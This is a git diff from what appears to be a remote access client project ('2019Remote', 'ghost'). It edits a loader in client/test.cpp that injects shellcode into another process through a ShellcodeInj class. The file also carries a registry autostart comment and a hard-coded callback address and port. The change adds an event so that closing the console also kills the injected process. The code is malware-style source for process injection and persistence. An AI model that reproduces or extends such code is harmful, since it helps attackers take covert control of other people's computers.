diff --git a/2019Remote.sln b/2019Remote.sln index 676a90d..c10b956 100644 --- a/2019Remote.sln +++ b/2019Remote.sln @@ -8,9 +8,6 @@ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" - ProjectSection(ProjectDependencies) = postProject - {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} - EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" EndProject diff --git a/client/test.cpp b/client/test.cpp index d4ba469..ec7efca 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -1,12 +1,9 @@ -#include -#include -#include -#include "common/commands.h" #include "StdAfx.h" #include "MemoryModule.h" #include "ShellcodeInj.h" #include +#include #pragma comment(lib, "ws2_32.lib") // 自动启动注册表中的值 @@ -29,6 +26,8 @@ IsExit bExit = NULL; BOOL status = 0; +HANDLE hEvent = NULL; + #ifdef _DEBUG CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; #else @@ -94,6 +93,7 @@ BOOL CALLBACK callback(DWORD CtrlType) if (CtrlType == CTRL_CLOSE_EVENT) { status = 1; + if (hEvent) SetEvent(hEvent); if(stop) stop(); while(1==status) Sleep(20); @@ -282,20 +282,28 @@ int main(int argc, const char *argv[]) // If failed then run memory DLL ShellcodeInj inj; int pid = 0; + hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL); do { if (sizeof(void*) == 4) // Shell code is 64bit break; if (!(pid = inj.InjectProcess(nullptr))) { break; } - HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid); + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid); if (hProcess == NULL) { break; } Mprintf("Inject process [%d] succeed.\n", pid); - DWORD waitResult = WaitForSingleObject(hProcess, INFINITE); + HANDLE handles[2] = { hProcess, hEvent }; + DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE); + if (status == 1) { + TerminateProcess(hProcess, -1); + CloseHandle(hEvent); + } CloseHandle(hProcess); Mprintf("Process [%d] is finished.\n", pid); + if (status == 1) + return -1; } while (pid); }